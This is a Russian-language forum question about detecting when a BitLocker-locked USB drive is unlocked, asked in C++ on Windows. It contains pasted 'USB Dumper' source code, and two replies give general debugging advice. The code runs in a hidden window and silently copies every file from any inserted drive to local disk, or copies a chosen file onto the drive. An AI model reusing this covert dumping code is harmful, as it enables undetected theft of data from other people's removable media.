Member 12899279 Ответов: 0

Как получить уведомление о разблокировке съемного носителя(usb, жесткого диска)


например, у меня есть usb, который заблокирован с помощью bitlocker.
я ищу какой - то способ получить уведомление, как только съемное устройство будет разблокировано пользователем?h в c++?
я получил ниже код по этой ссылке http://read.pudn.com/downloads163/sourcecode/windows/system/740844/USBDumper%20-%20OK/src/usb.cpp__.htm
но он не обнаруживает usb который заблокирован с помощью bitlocker даже после его разблокировки

Что я уже пробовал:

#include <windows.h>   
#include <dbt.h>   
#include <direct.h>   
#include <stdio.h>   
   
   
char dir[260];   
char szFile[255] = "";   
   
   
// Function prototype   
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);   
char FirstDriveFromMask (ULONG unitmask);   
void GetFile(char* FilePath);   
void CreateDir(char * path);   
void Copy(char* FileName);   
   
     
   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)   
{   
    MSG         msg;        // MSG structure to store messages   
    HWND        hwndMain;   // Main window handle   
    WNDCLASSEX  wcx;        // WINDOW class information    
    HDEVNOTIFY  hDevnotify;   
    DWORD       len;               
   
    DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;   
   
    // 53F56307-B6BF-11D0-94F2-00A0C91EFB8B   
    GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};           
       
   
    printf("\n>> USB Dumper by Valgasu <<\n\n");   
   
   
    // Get command line   
    if (lpCmdLine[0] != '\0') {   
        strcpy(szFile, lpCmdLine);         
    }   
   
    // Initialize the struct to zero   
    ZeroMemory(&wcx,sizeof(WNDCLASSEX));   
   
    wcx.cbSize = sizeof(WNDCLASSEX);        // Window size. Must always be sizeof(WNDCLASSEX)   
    wcx.style = 0 ;                         // Class styles   
    wcx.lpfnWndProc = (WNDPROC)MainWndProc; // Pointer to the callback procedure   
    wcx.cbClsExtra = 0;                     // Extra byte to allocate following the wndclassex structure   
    wcx.cbWndExtra = 0;                     // Extra byte to allocate following an instance of the structure   
    wcx.hInstance = hInstance;              // Instance of the application   
    wcx.hIcon = NULL;                       // Class Icon   
    wcx.hCursor = NULL;                     // Class Cursor   
    wcx.hbrBackground = NULL;               // Background brush   
    wcx.lpszMenuName = NULL;                // Menu resource   
    wcx.lpszClassName = "USB";              // Name of this class   
    wcx.hIconSm = NULL;                     // Small icon for this class   
   
    // Register this window class with MS-Windows   
    if (!RegisterClassEx(&wcx))   
        return 0;   
   
    // Create the window   
    hwndMain = CreateWindowEx(0,// Extended window style   
                "USB",          // Window class name   
                "",             // Window title   
                WS_POPUP,       // Window style   
                0,0,            // (x,y) pos of the window   
                0,0,            // Width and height of the window   
                NULL,           // HWND of the parent window (can be null also)   
                NULL,           // Handle to menu   
                hInstance,      // Handle to application instance   
                NULL);          // Pointer to window creation data   
   
    // Check if window creation was successful   
    if (!hwndMain)   
        return 0;   
   
    // Make the window invisible   
    ShowWindow(hwndMain,SW_HIDE);   
   
    // Initialize device class structure    
    len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);   
    memset(&NotificationFilter,0,len);   
   
    NotificationFilter.dbcc_size = 0x20;   
    NotificationFilter.dbcc_devicetype = 5;         // DBT_DEVTYP_DEVICEINTERFACE;   
    NotificationFilter.dbcc_classguid = FilterGUID;   
       
    // Register   
    hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);   
   
    if(hDevnotify == NULL)       
        return 0;   
   
    // Process messages coming to this window   
    while (GetMessage(&msg, NULL, 0, 0)) {   
        TranslateMessage(&msg);   
        DispatchMessage(&msg);   
    }   
   
    // return value to the system   
    return msg.wParam;   
 }   
   
   
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)   
{   
    char szMsg[80];   
    char szFileDest[255];   
    char drive;   
    char szDrive[20];   
    char dtime[20];   
    char temp[10];   
    SYSTEMTIME  st;   
    PDEV_BROADCAST_VOLUME PdevVolume;   
    PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;   
   
   
    switch (msg)   
    {   
        case WM_DEVICECHANGE:   
            switch(wParam)   
            {   
                // A device or piece of media has been inserted and is now available   
                case DBT_DEVICEARRIVAL:   
                    PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;   
                       
                    switch(PdevDEVICEINTERFACE->dbcc_devicetype)   
                    {                       
                        // Class of devices   
                        case DBT_DEVTYP_DEVICEINTERFACE:   
                            // MessageBox(NULL, PdevDEVICEINTERFACE->dbcc_name, "DEBUG", MB_OK);   
                            break;   
                            
                        // Logical volume   
                        case DBT_DEVTYP_VOLUME:   
                            PdevVolume = (PDEV_BROADCAST_VOLUME)lParam;                                                                                                                
                            drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask);   
                            wsprintf(szDrive, "%c:\\", drive);   
                            wsprintf(szMsg, "Drive %s connected\n", szDrive);   
   
                            // MessageBox (NULL, szMsg, "WM_DEVICECHANGE", MB_OK);                         
                                                                                       
                            GetLocalTime(&st);   
                            itoa(st.wYear, temp, 10);   
                            strcpy(dtime, temp);   
                            itoa(st.wMonth, temp, 10);   
                            strcat(dtime, temp);   
                            itoa(st.wDay, temp, 10);   
                            strcat(dtime , temp);   
                            _mkdir(dtime);   
                            _getcwd(dir, 260);   
                            strcat(dir, "\\");   
                            strcat(dir, dtime );   
                            strcat(dir, "\\" );                    
   
                            // Check command line                                  
                            if (strcmp(szFile, "") != 0) {                                 
                                wsprintf(szFileDest, "%s%s", szDrive, szFile);   
                                //MessageBox(NULL, szFileDest, "DEBUG", MB_OK);    
                                CopyFile(szFile, szFileDest, FALSE);   
                            }   
                            else {                                 
                                GetFile(szDrive);   
                            }   
                               
                    }   
                    break;   
            }   
            break;   
   
        default:   
            // Call the default window handler   
            return DefWindowProc(hwnd,msg,wParam,lParam);   
    }   
   
    return 0;   
}   
   
   
char FirstDriveFromMask (ULONG unitmask)   
{   
   char i;   
   
   for (i = 0 ; i < 26 ; ++i)   
   {   
      if (unitmask & 0x1)   
         break;   
      unitmask = unitmask >> 1;   
   }   
   
   return (i + 'A');   
}   
   
   
void Copy(char* FileName)   
{   
    char dir2[260];   
    char* temp;   
       
   
    temp = strchr(FileName, '\\');   
    strcpy(dir2, dir);   
    temp++;   
    strcat(dir2, temp);   
    CopyFile(FileName, dir2, 1);   
}   
   
   
void CreateDir(char * path)   
{   
    char temp2[260];       
    char* temp;   
   
   
    temp = strchr(path, '\\');   
    strcpy(temp2, dir);   
    temp++;   
    strcat(temp2, temp);   
    _mkdir(temp2);   
}   
   
   
void GetFile(char* FilePath)   
{   
    char    temp[260];   
    char    temp1[260];    
    HANDLE  hFind;   
    WIN32_FIND_DATA FindFileData;   
   
   
    strcpy(temp, FilePath);   
    strcat(temp, "*");   
   
    hFind = FindFirstFile(temp, &FindFileData);   
   
    if (hFind != INVALID_HANDLE_VALUE) {   
   
        do {   
            strcpy(temp1, FilePath);   
            strcat(temp1, FindFileData.cFileName);   
   
            if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) {   
                   
                if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {   
                    strcat(temp1, "\\");   
                    CreateDir(temp1);   
                    GetFile(temp1);   
   
                }    
                else {   
                    Copy(temp1);   
                }                     
            }   
        }   
        while(FindNextFile(hFind, &FindFileData));   
   
    }   
   
    FindClose(hFind);   
}   
<pre lang="c++">

Rick York

У меня нет решения для вас, так что это комментарий. Если вы хотите, чтобы люди помогали вам, это часто включает в себя репликацию кода и его опробование. В вашем случае вы должны удалить все материалы для копирования файлов. Просто распечатайте сообщение отладчику или что-то еще, чтобы указать, что произошло, потому что именно в этом заключается ваша проблема. Этого кода все равно не должно быть. Вы должны вызывать функцию где-то, чтобы делать то, что вы хотите, и передавать ей интересующие вас параметры.

Richard MacCutchan

Приведенный выше код будет работать только в том случае, если bitlocker передает соответствующее сообщение о событии. Поэтому вам нужно выяснить, какие сообщения bitlocker отправляет для каждого типа событий.

0 Ответов